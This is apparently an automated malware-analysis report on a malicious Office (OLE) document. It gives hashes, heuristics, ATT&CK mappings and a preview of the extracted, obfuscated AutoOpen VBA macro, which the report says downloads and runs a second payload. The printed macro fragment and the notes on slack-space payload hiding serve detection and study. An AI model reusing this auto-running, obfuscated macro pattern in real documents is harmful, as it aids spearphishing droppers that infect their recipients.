Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31bbce1bb5459cff…

MALICIOUS

Office (OLE)

113.0 KB First seen: 2019-03-10
MD5: ac3361745d1b3a488505f2c3af00d8e8 SHA-1: fe67f462332b0a383c13080167d5f99e187e65c9 SHA-256: 31bbce1bb5459cff1c33fe6428b02020a28a523da256f266007ac002c3bd1a0e
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack anomaly and detected VBA macros, including an AutoOpen subroutine. The AutoOpen macro contains obfuscated Visual Basic code that appears to be designed to download and execute a secondary payload. The presence of an AutoOpen macro strongly suggests this document was intended to be delivered as a spearphishing attachment.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 115,669 bytes but its declared streams total only 32,623 bytes — 83,046 bytes (72%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1184 bytes
SHA-256: 74870827e1d2c8d6abb83f954478921cd2ada459a7fbfa016d1f94187348a00f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nHawNUvzilwUu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If Jwvvjn = Zjsuq Then

Dim JnTsr()
jXdET = tLUON + VGTzvB + YqoBo + oHVZYa
zJwZjs = kmbBKT + YjDJr

End If
   If SMrVpY Or 12 Then

Dim EXmwnT()
LKuTDZ = lPmqUi + XSPjJ + jwEDq + zjPpF

End If
   If wUuHaw >= TiCif Then

Dim dZmSf()
Cwirw = dCImvj + zjjjP
szJFi = aUYiz + jLumqN

End If
   If uDwTSN <= 5 Then

Dim PCLXY()
zcNhv = XNqJPG + GKuwM
qbbOE = rLmBMn + bNWwUR

End If
   If NZJqo <> AhzFiU Then

Dim PjFWPi()
IPFqc = cwWZjT + RCwJZ + QOzzzY + ZhzJT

End If
VJoaIrcvQAd (mfqmc + CHXCLI + jMsfAL + rRawNjKwWV + NajchIn + vDUfNBLRR + CzLKtSz + fRKEGd + OvCHpLr + iEtiMA + UDzRhjXO)
   If fkZkjO Eqv nAqiv Then

Dim cktjLl()
mdlrzm = fvCol + qOwWm + fENfSI + wKwUB
uhuBzi = tqmswC + pGOoWu + GhZzT + soNjaB

End If
   If ElkMd <= ofEjO Then

Dim jzkYwW()
VSqEs = JoJuiw + LPKkhR
XthwXj = WBjImB + njOhsj

End If
End Sub

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